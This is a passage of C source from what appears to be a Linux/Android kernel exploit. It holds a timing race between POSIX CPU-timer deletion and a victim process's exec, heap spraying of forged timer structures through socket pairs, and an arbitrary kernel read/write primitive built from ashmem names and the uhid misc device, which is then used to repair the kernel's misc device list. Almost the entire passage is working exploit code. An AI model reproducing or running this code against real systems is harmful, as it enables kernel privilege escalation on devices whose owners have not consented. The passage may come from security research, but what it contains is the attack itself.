if (result <= 0 || (poll_fd.revents & (POLLERR | POLLNVAL)))
return -1;
return 0;
}
static int collect_exec_acks(int fd, struct exec_ack *acks, int expected, int *received) {
long long deadline_ns = monotonic_ns() + 3000000000LL;
int expected_cpu = RACE_ROLE_EXEC_CPU;
*received = 0;
for (int i = 0; i < expected; i++) {
unsigned char *cursor = (unsigned char *)&acks[i];
size_t done = 0;
while (done < sizeof(acks[i])) {
ssize_t got;
if (poll_exec_ack(fd, deadline_ns))
return -1;
got = read(fd, cursor + done, sizeof(acks[i]) - done);
if (got < 0 && errno == EINTR)
continue;
if (got <= 0)
return -1;
done += (size_t)got;
}
*received = i + 1;
if (acks[i].generation != i + 1 || acks[i].total != expected || acks[i].caller_pid <= 0 ||
acks[i].caller_tid <= 0 || acks[i].caller_pid == acks[i].caller_tid ||
acks[i].caller_cpu != expected_cpu || acks[i].current_pid != acks[i].caller_pid ||
acks[i].current_tid != acks[i].current_pid || acks[i].current_cpu != expected_cpu ||
(i && acks[i].timestamp_ns <= acks[i - 1].timestamp_ns))
return -1;
}
for (;;) {
unsigned char extra;
ssize_t got;
if (poll_exec_ack(fd, deadline_ns))
return -1;
got = read(fd, &extra, sizeof(extra));
if (!got)
return 0;
if (got < 0 && errno == EINTR)
continue;
return -1;
}
}
static void prepare_irq_batch(struct delete_state *state) {
int count = 0;
for (; count < irq_batch_fds; count++) {
state->irq_fds[count] = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC);
if (state->irq_fds[count] < 0)
break;
}
atomic_store_explicit(&state->irq_count, count, memory_order_release);
}
static void arm_irq_batch(struct delete_state *state) {
struct itimerspec irq;
long long target_ns = monotonic_ns() + irq_arm_lead_ns;
int count = atomic_load_explicit(&state->irq_count, memory_order_acquire);
memset(&irq, 0, sizeof(irq));
irq.it_value.tv_sec = target_ns / 1000000000LL;
irq.it_value.tv_nsec = target_ns % 1000000000LL;
irq.it_interval.tv_sec = irq_batch_period_ns / 1000000000L;
irq.it_interval.tv_nsec = irq_batch_period_ns % 1000000000L;
int i = 0;
for (; i < count; i++) {
if (timerfd_settime(state->irq_fds[i], TFD_TIMER_ABSTIME, &irq, NULL))
break;
}
atomic_store_explicit(&state->irq_count, i, memory_order_release);
atomic_store_explicit(&state->irq_target_ns, target_ns, memory_order_release);
atomic_store_explicit(&state->irq_armed, 1, memory_order_release);
}
static void *delete_worker(void *opaque) {
struct delete_state *state = opaque;
int worker_no = atomic_fetch_add_explicit(&state->worker_serial, 1, memory_order_relaxed);
int cpu = RACE_ROLE_DELETE_FIRST_CPU + worker_no % RACE_ROLE_DELETE_CPU_COUNT;
pin_physical_cpu(cpu);
atomic_fetch_or_explicit(&state->observed_cpu_mask, 1U << cpu, memory_order_relaxed);
if (!worker_no)
prepare_irq_batch(state);
atomic_fetch_add_explicit(&state->ready_workers, 1, memory_order_release);
if (!worker_no) {
while (!atomic_load_explicit(&state->irq_arm_go, memory_order_acquire))
cpu_relax();
arm_irq_batch(state);
}
while (!atomic_load_explicit(&state->shared->delete_go, memory_order_acquire))
cpu_relax();
{ long long seen = monotonic_ns();
atomic_min_ns(&state->shared->delete_seen_min_ns, seen);
atomic_max_ns(&state->shared->delete_seen_max_ns, seen);
}
for (;;) {
int index = worker_no;
worker_no += state->worker_count;
if (index >= state->timer_count)
break;
if (syscall(SYS_timer_delete, state->timer_ids[state->timer_count - 1 - index])) {
atomic_store_explicit(&state->shared->delete_errno, errno, memory_order_relaxed);
atomic_fetch_add_explicit(&state->shared->delete_errors, 1, memory_order_relaxed);
} else {
int count =
atomic_fetch_add_explicit(&state->shared->deleted, 1, memory_order_release) + 1;
if (count == exec_after_deleted)
atomic_store_explicit(&state->shared->delete_threshold_ns, monotonic_ns(),
memory_order_release);
}
}
return NULL;
}
static void *prime_worker(void *opaque) {
struct prime_state *state = opaque;
pin_physical_cpu(RACE_ROLE_PARENT_CPU);
atomic_store_explicit(&state->ready, 1, memory_order_release);
while (!atomic_load_explicit(&state->start, memory_order_acquire))
cpu_relax();
while (atomic_load_explicit(&state->shared->deleted, memory_order_acquire) <
prime_start_deleted)
cpu_relax();
atomic_store_explicit(&state->begin_ns, monotonic_ns(), memory_order_relaxed);
atomic_store_explicit(&state->end_ns, monotonic_ns(), memory_order_release);
return NULL;
}
static void *rcu_flush_worker(void *opaque) {
struct rcu_flush_state *state = opaque;
static atomic_int worker_serial;
int worker_no = atomic_fetch_add_explicit(&worker_serial, 1, memory_order_relaxed);
if (cpu_count > 1)
pin_cpu(1 + worker_no % (cpu_count - 1));
for (;;) {
int index = atomic_fetch_add_explicit(&state->next_timer, 1, memory_order_relaxed);
if (index >= state->timer_count)
break;
if (syscall(SYS_timer_delete, state->timer_ids[index]))
atomic_fetch_add_explicit(&state->errors, 1, memory_order_relaxed);
}
return NULL;
}
static void force_rcu_callbacks(int attempt) {
struct rcu_flush_state state;
pthread_t threads[8];
int nthreads = cpu_count > 1 ? cpu_count - 1 : 1;
if (!rcu_flush_timers)
return;
if (nthreads > (int)ARRAY_SIZE(threads))
nthreads = ARRAY_SIZE(threads);
state.timer_ids = calloc(rcu_flush_timers, sizeof(*state.timer_ids));
if (!state.timer_ids)
die("calloc RCU flush timers");
int created = 0;
for (; created < rcu_flush_timers; created++) {
if (timer_create_raw(CLOCK_MONOTONIC, &state.timer_ids[created]))
break;
}
state.timer_count = created;
atomic_init(&state.next_timer, 0);
atomic_init(&state.errors, 0);
for (int i = 0; i < nthreads; i++) {
if (pthread_create(&threads[i], NULL, rcu_flush_worker, &state))
die("pthread_create RCU flush");
}
for (int i = 0; i < nthreads; i++)
join_or_preserve(threads[i], "rcu_flush");
printf("RCU_FORCE attempt=%d created=%d deleted=%d errors=%d\n", attempt, created,
atomic_load_explicit(&state.next_timer, memory_order_relaxed),
atomic_load_explicit(&state.errors, memory_order_relaxed));
free(state.timer_ids);
}
static int read_timer_slab(int *active, int *total) {
char line[256];
FILE *slab = fopen("/proc/slabinfo", "re");
if (!slab)
return -1;
while (fgets(line, sizeof(line), slab)) {
if (sscanf(line, "posix_timers_cache %d %d", active, total) == 2) {
fclose(slab);
return 0;
}
}
fclose(slab);
return -1;
}
static void initialize_shared(struct shared_state *shared, long exec_delay_ns) {
atomic_init(&shared->victim_ready, 0);
atomic_init(&shared->victim_cpu, -1);
atomic_init(&shared->delete_go, 0);
atomic_init(&shared->deleted, 0);
atomic_init(&shared->delete_errors, 0);
atomic_init(&shared->delete_errno, 0);
atomic_init(&shared->create_errno, 0);
atomic_init(&shared->exec_after_deleted, exec_after_deleted);
atomic_init(&shared->exec_delay_ns, exec_delay_ns);
atomic_init(&shared->delete_go_ns, 0);
atomic_init(&shared->delete_seen_min_ns, 0);
atomic_init(&shared->delete_seen_max_ns, 0);
atomic_init(&shared->delete_threshold_ns, 0);
atomic_init(&shared->victim_threshold_ns, 0);
atomic_init(&shared->exec_call_ns, 0);
}
static pid_t run_race(int sequence) {
struct delete_state deletion;
struct prime_state prime;
struct exec_ack exec_acks[MAX_EXEC_REPEATS];
pthread_t workers[MAX_WORKERS];
pthread_t prime_thread;
long irq_after_release_ns = 20000 + (long)((sequence - 1) % 32) * 20000;
long exec_delay_ns = ((long)sequence * 7919) % 10000;
int ack_pipe[2];
struct shared_state *shared =
mmap(NULL, sizeof(*shared), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (shared == MAP_FAILED)
die("mmap shared");
initialize_shared(shared, exec_delay_ns);
if (pipe(ack_pipe))
die("pipe exec ack");
pid_t victim = fork();
if (victim < 0)
die("fork victim");
if (!victim)
victim_process(shared, ack_pipe[1], ack_pipe[0]);
close(ack_pipe[1]);
while (!atomic_load_explicit(&shared->victim_ready, memory_order_acquire))
cpu_relax();
if (atomic_load_explicit(&shared->victim_cpu, memory_order_relaxed) != RACE_ROLE_EXEC_CPU)
die("victim role CPU");
printf("VICTIM_ROLE_GATE_PASS physical=%d\n", RACE_ROLE_EXEC_CPU);
pin_physical_cpu(RACE_ROLE_PARENT_CPU);
memset(&deletion, 0, sizeof(deletion));
deletion.shared = shared;
deletion.worker_count = 0;
deletion.timer_ids = calloc(timer_goal, sizeof(*deletion.timer_ids));
deletion.irq_fds = calloc(irq_batch_fds > 0 ? irq_batch_fds : 1, sizeof(*deletion.irq_fds));
if (!deletion.timer_ids || !deletion.irq_fds)
die("calloc race state");
atomic_init(&deletion.worker_serial, 0);
atomic_init(&deletion.ready_workers, 0);
atomic_init(&deletion.observed_cpu_mask, 0);
atomic_init(&deletion.irq_count, 0);
atomic_init(&deletion.irq_arm_go, 0);
atomic_init(&deletion.irq_armed, 0);
atomic_init(&deletion.irq_target_ns, 0);
clockid_t clockid = (clockid_t)(((~(uint32_t)victim) << 3) | CPUCLOCK_SCHED);
int created = 0;
for (; created < timer_goal; created++) {
if (timer_create_raw(clockid, &deletion.timer_ids[created])) {
atomic_store_explicit(&shared->create_errno, errno, memory_order_relaxed);
break;
}
if (timer_arm_raw(deletion.timer_ids[created])) {
atomic_store_explicit(&shared->create_errno, errno, memory_order_relaxed);
syscall(SYS_timer_delete, deletion.timer_ids[created]);
break;
}
}
deletion.timer_count = created;
int nworkers = worker_goal < created ? worker_goal : created;
deletion.worker_count = nworkers;
for (int i = 0; i < nworkers; i++) {
if (pthread_create(&workers[i], NULL, delete_worker, &deletion))
die("pthread_create delete");
}
while (atomic_load_explicit(&deletion.ready_workers, memory_order_acquire) != nworkers)
cpu_relax();
unsigned int expected_mask = ((1U << RACE_ROLE_DELETE_CPU_COUNT) - 1)
<< RACE_ROLE_DELETE_FIRST_CPU;
unsigned int observed_mask =
atomic_load_explicit(&deletion.observed_cpu_mask, memory_order_relaxed);
if (observed_mask != expected_mask)
die("delete role CPU mask");
printf("DELETE_ROLE_GATE_PASS expected=%#x observed=%#x\n", expected_mask, observed_mask);
prime.shared = shared;
atomic_init(&prime.ready, 0);
atomic_init(&prime.start, 0);
atomic_init(&prime.begin_ns, 0);
atomic_init(&prime.end_ns, 0);
if (pthread_create(&prime_thread, NULL, prime_worker, &prime))
die("pthread_create prime");
while (!atomic_load_explicit(&prime.ready, memory_order_acquire))
cpu_relax();
atomic_store_explicit(&deletion.irq_arm_go, 1, memory_order_release);
while (!atomic_load_explicit(&deletion.irq_armed, memory_order_acquire))
cpu_relax();
int irq_count = atomic_load_explicit(&deletion.irq_count, memory_order_acquire);
long long irq_target_ns = atomic_load_explicit(&deletion.irq_target_ns, memory_order_acquire);
sleep_until(irq_target_ns - irq_after_release_ns - 100000);
while (monotonic_ns() < irq_target_ns - irq_after_release_ns)
cpu_relax();
long long begin_ns = monotonic_ns();
atomic_store_explicit(&prime.start, 1, memory_order_release);
atomic_store_explicit(&shared->delete_go_ns, begin_ns, memory_order_relaxed);
atomic_store_explicit(&shared->delete_go, 1, memory_order_release);
for (int i = 0; i < nworkers; i++)
join_or_preserve(workers[i], "delete");
long long delete_done_ns = monotonic_ns();
join_or_preserve(prime_thread, "prime");
memset(exec_acks, 0, sizeof(exec_acks));
int exec_ack_count = 0;
int exec_ack_ok =
!collect_exec_acks(ack_pipe[0], exec_acks, race_exec_repeats, &exec_ack_count);
int exec_overlap_ok = exec_ack_ok;
for (int i = 0; exec_overlap_ok && i < exec_ack_count; i++) {
if (exec_acks[i].timestamp_ns >= delete_done_ns)
exec_overlap_ok = 0;
}
long long exec_done_ns = -1;
long long exec_last_ns = -1;
if (exec_ack_count) {
exec_done_ns = exec_acks[0].timestamp_ns;
exec_last_ns = exec_acks[exec_ack_count - 1].timestamp_ns;
}
if (exec_ack_ok)
printf("EXEC_REPEAT_GATE_PASS physical=%d repeats=%d acks=%d "
"tgid=%d overlap=%d span_us=%lld\n",
RACE_ROLE_EXEC_CPU, race_exec_repeats, exec_ack_count, exec_acks[0].current_pid,
exec_overlap_ok, (exec_last_ns - exec_done_ns) / 1000);
int deleted = atomic_load_explicit(&shared->deleted, memory_order_acquire);
int errors = atomic_load_explicit(&shared->delete_errors, memory_order_relaxed);
printf("LANE_DONE sequence=%d victim=%d timers=%d deleted=%d "
"errors=%d create_errno=%d delete_errno=%d irq_ns=%ld "
"exec_delay_ns=%ld delete_us=%lld exec_us=%lld "
"irq_actual_ns=%lld seen_min_ns=%lld seen_max_ns=%lld "
"threshold_ns=%lld victim_seen_ns=%lld exec_call_ns=%lld "
"prime_begin_ns=%lld prime_end_ns=%lld victim_cpu=%d "
"delete_cpu_mask=%#x exec_repeats=%d "
"exec_acks=%d exec_last_us=%lld exec_overlap=%d\n",
sequence, victim, created, deleted, errors,
atomic_load_explicit(&shared->create_errno, memory_order_relaxed),
atomic_load_explicit(&shared->delete_errno, memory_order_relaxed), irq_after_release_ns,
exec_delay_ns, (delete_done_ns - begin_ns) / 1000,
exec_done_ns < 0 ? -1 : (exec_done_ns - begin_ns) / 1000, irq_target_ns - begin_ns,
atomic_load_explicit(&shared->delete_seen_min_ns, memory_order_relaxed) - begin_ns,
atomic_load_explicit(&shared->delete_seen_max_ns, memory_order_relaxed) - begin_ns,
atomic_load_explicit(&shared->delete_threshold_ns, memory_order_relaxed) - begin_ns,
atomic_load_explicit(&shared->victim_threshold_ns, memory_order_relaxed) - begin_ns,
atomic_load_explicit(&shared->exec_call_ns, memory_order_relaxed) - begin_ns,
atomic_load_explicit(&prime.begin_ns, memory_order_relaxed) - begin_ns,
atomic_load_explicit(&prime.end_ns, memory_order_relaxed) - begin_ns,
atomic_load_explicit(&shared->victim_cpu, memory_order_relaxed),
atomic_load_explicit(&deletion.observed_cpu_mask, memory_order_relaxed), race_exec_repeats,
exec_ack_count,
exec_last_ns < 0 ? -1 : (exec_last_ns - begin_ns) / 1000, exec_overlap_ok);
close(ack_pipe[0]);
for (int i = 0; i < irq_count; i++)
close(deletion.irq_fds[i]);
free(deletion.irq_fds);
free(deletion.timer_ids);
munmap(shared, sizeof(*shared));
pin_cpu(1);
if (created != timer_goal || deleted != created || errors || !exec_ack_ok || !exec_overlap_ok ||
exec_done_ns < 0) {
int status;
if (terminate_and_reap(victim, &status)) {
printf("VICTIM_REAP_NOT_PROVEN victim=%d errno=%d\n", victim, errno);
hold_corrupted_state();
}
return -1;
}
return victim;
}
static int prepare_spray_pairs(struct spray_pair **out) {
struct spray_pair *pairs = calloc(pipe_count, sizeof(*pairs));
if (!pairs)
die("calloc spray pairs");
for (int i = 0; i < pipe_count; i++) {
int sockets[2];
if (socketpair(AF_UNIX, SOCK_STREAM | SOCK_NONBLOCK | SOCK_CLOEXEC, 0, sockets)) {
while (i--) {
close(pairs[i].tx);
close(pairs[i].rx);
}
free(pairs);
return -1;
}
pairs[i].tx = sockets[0];
pairs[i].rx = sockets[1];
}
*out = pairs;
return 0;
}
static void close_spray_pairs(struct spray_pair *pairs) {
for (int i = 0; i < pipe_count; i++) {
close(pairs[i].tx);
close(pairs[i].rx);
}
free(pairs);
}
enum spray_phase {
SPRAY_PREPARE_HEADS,
SPRAY_PUNCH_HOLES,
SPRAY_ORDER1_FRAGMENTS,
};
static int receive_exact(int fd, void *buffer, size_t length) {
unsigned char *cursor = buffer;
size_t done = 0;
while (done < length) {
ssize_t got = recv(fd, cursor + done, length - done, MSG_DONTWAIT);
if (got <= 0)
return -1;
done += (size_t)got;
}
return 0;
}
static void *spray_worker(void *opaque) {
struct spray_state *state = opaque;
if (try_pin_cpu(state->cpu)) {
atomic_fetch_add_explicit(state->errors, 1, memory_order_relaxed);
return NULL;
}
for (;;) {
int i = atomic_fetch_add_explicit(state->next_pair, 1, memory_order_relaxed);
if (i >= state->pair_count)
break;
if (state->phase == SPRAY_PREPARE_HEADS) {
unsigned char marker = SPRAY_MARKER;
for (int repeat = 0; repeat <= SPRAY_REPEATS; repeat++) {
if (send(state->pairs[i].tx, &marker, 1, MSG_DONTWAIT | MSG_NOSIGNAL) != 1)
atomic_fetch_add_explicit(state->errors, 1, memory_order_relaxed);
}
} else if (state->phase == SPRAY_PUNCH_HOLES) {
unsigned char markers[SPRAY_REPEATS];
if (receive_exact(state->pairs[i].rx, markers, sizeof(markers))) {
atomic_fetch_add_explicit(state->errors, 1, memory_order_relaxed);
continue;
}
for (int repeat = 0; repeat < SPRAY_REPEATS; repeat++) {
if (markers[repeat] != SPRAY_MARKER)
atomic_fetch_add_explicit(state->errors, 1, memory_order_relaxed);
}
} else {
for (int repeat = 0; repeat < SPRAY_REPEATS; repeat++) {
const unsigned char *fragment = state->fragment;
if (boot_validation == BOOT_VALIDATE_MISC_BRIDGE && misc_fragments_ready)
fragment = misc_fragments[((size_t)i * SPRAY_REPEATS + (size_t)repeat) %
FAKE_MISC_CLASSES];
if (send(state->pairs[i].tx, fragment, ORDER1_SIZE, MSG_DONTWAIT | MSG_NOSIGNAL) !=
ORDER1_SIZE)
atomic_fetch_add_explicit(state->errors, 1, memory_order_relaxed);
}
}
}
return NULL;
}
static int run_spray_phase(struct spray_pair *pairs, const unsigned char *fragment, int phase) {
struct spray_state states[8];
pthread_t threads[8];
atomic_int next_pair = 0;
atomic_int errors = 0;
int nthreads = cpu_count > 1 ? cpu_count - 1 : 1;
int created = 0;
if (nthreads > (int)ARRAY_SIZE(threads))
nthreads = ARRAY_SIZE(threads);
for (int i = 0; i < nthreads; i++) {
states[i].pairs = pairs;
states[i].fragment = fragment;
states[i].next_pair = &next_pair;
states[i].errors = &errors;
states[i].pair_count = pipe_count;
states[i].cpu = cpu_count > 1 ? i + 1 : 0;
states[i].phase = phase;
if (pthread_create(&threads[i], NULL, spray_worker, &states[i])) {
atomic_fetch_add_explicit(&errors, 1, memory_order_relaxed);
break;
}
created++;
}
for (int i = 0; i < created; i++)
join_or_preserve(threads[i], "spray");
return atomic_load_explicit(&errors, memory_order_relaxed);
}
static uint64_t fake_misc_record_offset(int record) {
return FAKE_MISC_OFF + (uint64_t)record * FAKE_MISC_RECORD_STRIDE;
}
static uint64_t fake_misc_child(uint64_t base, int class_index, int slot) {
int record = class_index * FAKE_MISC_SLOTS + slot;
return base + fake_misc_record_offset(record) + FAKE_MISC_LIST_OFF;
}
static void build_fake_fragment(unsigned char fragment[ORDER1_SIZE]) {
const uint64_t expires = UINT64_MAX;
memset(fragment, 0, ORDER1_SIZE);
for (int i = 0; i < FAKE_MISC_SLOTS; i++) {
size_t offset = FAKE_CPU_TIMER_FIRST_OFF + (size_t)i * FAKE_CPU_TIMER_STRIDE;
memcpy(fragment + offset, &forged_parent, sizeof(forged_parent));
memcpy(fragment + offset + sizeof(forged_parent), &forged_child, sizeof(forged_child));
memcpy(fragment + offset + FAKE_CPU_TIMER_EXPIRES_OFF, &expires, sizeof(expires));
}
printf("FAKE_ORDER1 parent=%#llx target=%#llx child=%#llx "
"expires=%#llx mode=%d bytes=%d repeats=%d stride=0x108\n",
(unsigned long long)forged_parent, (unsigned long long)(forged_parent + 8),
(unsigned long long)forged_child, (unsigned long long)UINT64_MAX, boot_validation,
ORDER1_SIZE, SPRAY_REPEATS);
}
static void build_misc_fragments(uint64_t base) {
const uint64_t expires = UINT64_MAX;
for (int class_index = 0; class_index < FAKE_MISC_CLASSES; class_index++) {
memset(misc_fragments[class_index], 0, ORDER1_SIZE);
for (int slot = 0; slot < FAKE_MISC_SLOTS; slot++) {
size_t offset = FAKE_CPU_TIMER_FIRST_OFF + (size_t)slot * FAKE_CPU_TIMER_STRIDE;
uint64_t child = fake_misc_child(base, class_index, slot);
memcpy(misc_fragments[class_index] + offset, &forged_parent, sizeof(forged_parent));
memcpy(misc_fragments[class_index] + offset + 8, &child, sizeof(child));
memcpy(misc_fragments[class_index] + offset + FAKE_CPU_TIMER_EXPIRES_OFF, &expires,
sizeof(expires));
}
}
misc_fragments_ready = 1;
printf("FAKE_ORDER1_MULTI parent=%#llx expires=%#llx classes=%d "
"slots=%d records=%d\n",
(unsigned long long)forged_parent, (unsigned long long)expires, FAKE_MISC_CLASSES,
FAKE_MISC_SLOTS, FAKE_MISC_RECORDS);
}
static int hex_value(unsigned char value) {
if (value >= '0' && value <= '9')
return value - '0';
value = tolower(value);
if (value >= 'a' && value <= 'f')
return value - 'a' + 10;
return -1;
}
static int parse_boot_id(const char *text, uint64_t *qword0, uint64_t *qword1) {
unsigned char bytes[16];
int high = -1;
int byte_count = 0;
for (const unsigned char *cursor = (const unsigned char *)text; *cursor; cursor++) {
if (*cursor == '-' || *cursor == '\n')
continue;
int value = hex_value(*cursor);
if (value < 0)
return -1;
if (high < 0) {
high = value;
} else {
if (byte_count >= (int)ARRAY_SIZE(bytes))
return -1;
bytes[byte_count++] = (unsigned char)((high << 4) | value);
high = -1;
}
}
if (byte_count != (int)ARRAY_SIZE(bytes) || high >= 0)
return -1;
memcpy(qword0, bytes, sizeof(*qword0));
memcpy(qword1, bytes + sizeof(*qword0), sizeof(*qword1));
return 0;
}
static int read_boot_id(char text[64], uint64_t *qword0, uint64_t *qword1) {
int fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY | O_CLOEXEC);
if (fd < 0)
return -1;
ssize_t length = read(fd, text, 63);
close(fd);
if (length <= 0 || length >= 64)
return -1;
text[length] = '\0';
return parse_boot_id(text, qword0, qword1);
}
static void put_blob32(unsigned char *blob, size_t offset, uint32_t value) {
memcpy(blob + offset, &value, sizeof(value));
}
static void put_blob64(unsigned char *blob, size_t offset, uint64_t value) {
memcpy(blob + offset, &value, sizeof(value));
}
static int set_ashmem_name_blob(int fd, const unsigned char *blob, size_t length) {
char name[ASHMEM_NAME_LEN];
if (length >= sizeof(name))
return -1;
memset(name, 'A', sizeof(name));
for (size_t index = 0; index < length; index++)
name[index] = blob[index] ? (char)blob[index] : 1;
name[length] = '\0';
if (ioctl(fd, ASHMEM_SET_NAME, name))
return -1;
for (size_t index = length; index > 0; index--) {
if (blob[index - 1])
continue;
memset(name, 'A', sizeof(name));
for (size_t prefix = 0; prefix + 1 < index; prefix++)
name[prefix] = blob[prefix] ? (char)blob[prefix] : 1;
name[index - 1] = '\0';
if (ioctl(fd, ASHMEM_SET_NAME, name))
return -1;
}
return 0;
}
static ssize_t bridge_read_once(int fd, uint64_t target, void *output, size_t length) {
unsigned char blob[128];
off_t position = (off_t)(ASHMEM_PREFIX_COUNT - length);
uint64_t page = target - (uint64_t)position;
memset(blob, 0, sizeof(blob));
put_blob64(blob, CFG_PAGE_OFF - ASHMEM_NAME_PREFIX_LEN, page);
put_blob32(blob, CFG_NEEDS_READ_FILL_OFF - ASHMEM_NAME_PREFIX_LEN, 0);
if (set_ashmem_name_blob(fd, blob, sizeof(blob)))
return -1;
return pread(fd, output, length, position);
}
static ssize_t bridge_write_once(int fd, uint64_t target, const void *input, size_t length) {
unsigned char blob[128];
memset(blob, 0, sizeof(blob));
put_blob64(blob, CFG_BIN_BUFFER_OFF - ASHMEM_NAME_PREFIX_LEN, target);
put_blob32(blob, CFG_BIN_BUFFER_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, (uint32_t)length);
put_blob32(blob, CFG_CB_MAX_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, 0);
if (set_ashmem_name_blob(fd, blob, sizeof(blob)))
return -1;
return pwrite(fd, input, length, 0);
}
static int bridge_read64(int fd, uint64_t target, uint64_t *value) {
return bridge_read_once(fd, target, value, sizeof(*value)) == (ssize_t)sizeof(*value) ? 0 : -1;
}
static int bridge_write64(int fd, uint64_t target, uint64_t value) {
return bridge_write_once(fd, target, &value, sizeof(value)) == (ssize_t)sizeof(value) ? 0 : -1;
}
static int open_verified_bridge(uint64_t *observed) {
uint64_t expected = LINK_UHID_FOPS + kernel_slide;
uint64_t target = LINK_UHID_MISC + kernel_slide + FAKE_MISC_FOPS_OFF;
int fd = open(UHID_PATH, O_RDWR | O_CLOEXEC);
if (fd < 0)
return -1;
if (bridge_read64(fd, target, observed) || *observed != expected) {
close(fd);
return -1;
}
return fd;
}
static int validate_misc_bridge(struct watcher_result *result) {
uint64_t observed = 0;
int fd = open_verified_bridge(&observed);
if (fd < 0)
return -1;
close(fd);
result->magic = NEBUSEC_MAGIC;
result->qword0 = observed;
result->qword1 = LINK_UHID_MISC + kernel_slide + FAKE_MISC_FOPS_OFF;
result->slide = kernel_slide;
return 0;
}
static int kernel_list_pointer(uint64_t value) {
uint64_t core_start = LINK_SDATA + kernel_slide;
uint64_t core_end = LINK_END + kernel_slide;
if ((value & 7) ||
(value >= crosscache_page_base && value < crosscache_page_base + CC_SKB_SEND_BYTES))
return 0;
return (value >= core_start && value < core_end) ||
(module_direct_base && value >= module_direct_base &&
value < module_direct_base + MODULE_DIRECT_SIZE) ||
(module_plt_base && value >= module_plt_base &&
value < module_plt_base + MODULE_PLT_SIZE) ||
(value >= DIRECT_MAP_BEGIN && value < DIRECT_MAP_END);
}
static int forged_misc_child_pointer(uint64_t value) {
uint64_t first = crosscache_page_base + FAKE_MISC_OFF + FAKE_MISC_LIST_OFF;
if ((value & 7) || value < first)
return 0;
uint64_t delta = value - first;
return delta % FAKE_MISC_RECORD_STRIDE == 0 &&
delta / FAKE_MISC_RECORD_STRIDE < FAKE_MISC_RECORDS;
}
static int restore_misc_list(int fd) {
uint64_t head = LINK_MISC_LIST + kernel_slide;
uint64_t head_next = 0;
uint64_t tail = 0;
uint64_t previous;
uint64_t previous_next = 0;
uint64_t descriptor = 0;
uint64_t seen[MISC_LIST_LIMIT];
uint64_t first = 0;
uint64_t check_head_next = 0;
uint64_t check_tail = 0;
uint64_t check_tail_next = 0;
uint64_t check_first_previous = 0;
int depth;
uint64_t image_start = LINK_IMAGE_BASE + kernel_slide;
uint64_t image_end = LINK_END + kernel_slide;
if (bridge_read64(fd, LINK_MODULE_DIRECT_BASE + kernel_slide, &module_direct_base) ||
bridge_read64(fd, LINK_MODULE_PLT_BASE + kernel_slide, &module_plt_base) ||
(module_direct_base &&
((module_direct_base & (0x1000 - 1)) || module_direct_base > image_start ||
module_direct_base + MODULE_DIRECT_SIZE < image_end)) ||
!module_plt_base || (module_plt_base & (0x1000 - 1)) || module_plt_base > image_start ||
module_plt_base + MODULE_PLT_SIZE < image_end) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=module_ranges "
"direct=%#llx plt=%#llx image=%#llx-%#llx errno=%d\n",
(unsigned long long)module_direct_base, (unsigned long long)module_plt_base,
(unsigned long long)image_start, (unsigned long long)image_end, errno);
return -1;
}
printf("MISC_LIST_MODULE_RANGES direct=%#llx-%#llx "
"plt=%#llx-%#llx\n",
(unsigned long long)module_direct_base,
(unsigned long long)(module_direct_base + MODULE_DIRECT_SIZE),
(unsigned long long)module_plt_base,
(unsigned long long)(module_plt_base + MODULE_PLT_SIZE));
if (bridge_read64(fd, head, &head_next) || bridge_read64(fd, head + 8, &tail)) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=head_snapshot "
"errno=%d\n",
errno);
return -1;
}
printf("MISC_LIST_RESTORE_SCAN head=%#llx fake=%#llx tail=%#llx\n", (unsigned long long)head,
(unsigned long long)head_next, (unsigned long long)tail);
if (!forged_misc_child_pointer(head_next) || !kernel_list_pointer(tail)) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=head_gate "
"head_next=%#llx first_fake=%#llx tail=%#llx\n",
(unsigned long long)head_next,
(unsigned long long)(crosscache_page_base + FAKE_MISC_OFF + FAKE_MISC_LIST_OFF),
(unsigned long long)tail);
return -1;
}
uint64_t fake = head_next;
uint64_t node = tail;
for (depth = 0; depth < MISC_LIST_LIMIT; depth++) {
for (int seen_index = 0; seen_index < depth; seen_index++) {
if (seen[seen_index] == node) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=cycle "
"depth=%d node=%#llx\n",
depth, (unsigned long long)node);
return -1;
}
}
seen[depth] = node;
if (bridge_read64(fd, node - FAKE_MISC_LIST_OFF, &descriptor) ||
(uint32_t)descriptor > MISC_MINOR_MAX) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=minor "
"depth=%d node=%#llx descriptor=%#llx errno=%d\n",
depth, (unsigned long long)node, (unsigned long long)descriptor, errno);
return -1;
}
if (bridge_read64(fd, node + 8, &previous)) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=read_prev "
"depth=%d node=%#llx errno=%d\n",
depth, (unsigned long long)node, errno);
return -1;
}
if (previous == head) {
first = node;
break;
}
if (!kernel_list_pointer(previous)) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=prev_pointer "
"depth=%d node=%#llx previous=%#llx\n",
depth, (unsigned long long)node, (unsigned long long)previous);
return -1;
}
if (bridge_read64(fd, previous, &previous_next) || previous_next != node) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=backlink "
"depth=%d node=%#llx previous=%#llx "
"previous_next=%#llx errno=%d\n",
depth, (unsigned long long)node, (unsigned long long)previous,
(unsigned long long)previous_next, errno);
return -1;
}
node = previous;
}
if (!first) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=depth_limit\n");
return -1;
}
if (bridge_read64(fd, head, &check_head_next) || bridge_read64(fd, head + 8, &check_tail) ||
bridge_read64(fd, tail, &check_tail_next) ||
bridge_read64(fd, first + 8, &check_first_previous) || check_head_next != fake ||
check_tail != tail || check_tail_next != head || check_first_previous != head) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=prewrite "
"head_next=%#llx tail=%#llx tail_next=%#llx "
"first_prev=%#llx errno=%d\n",
(unsigned long long)check_head_next, (unsigned long long)check_tail,
(unsigned long long)check_tail_next, (unsigned long long)check_first_previous,
errno);
return -1;
}
if (bridge_write64(fd, head, first)) {
printf("MISC_LIST_RESTORE_GATE_FAIL stage=write_head errno=%d\n", errno);
return -1;
}
if (bridge_read64(fd, head, &check_head_next) || bridge_read64(fd, head + 8, &check_tail) ||
bridge_read64(fd, tail, &check_tail_next) ||
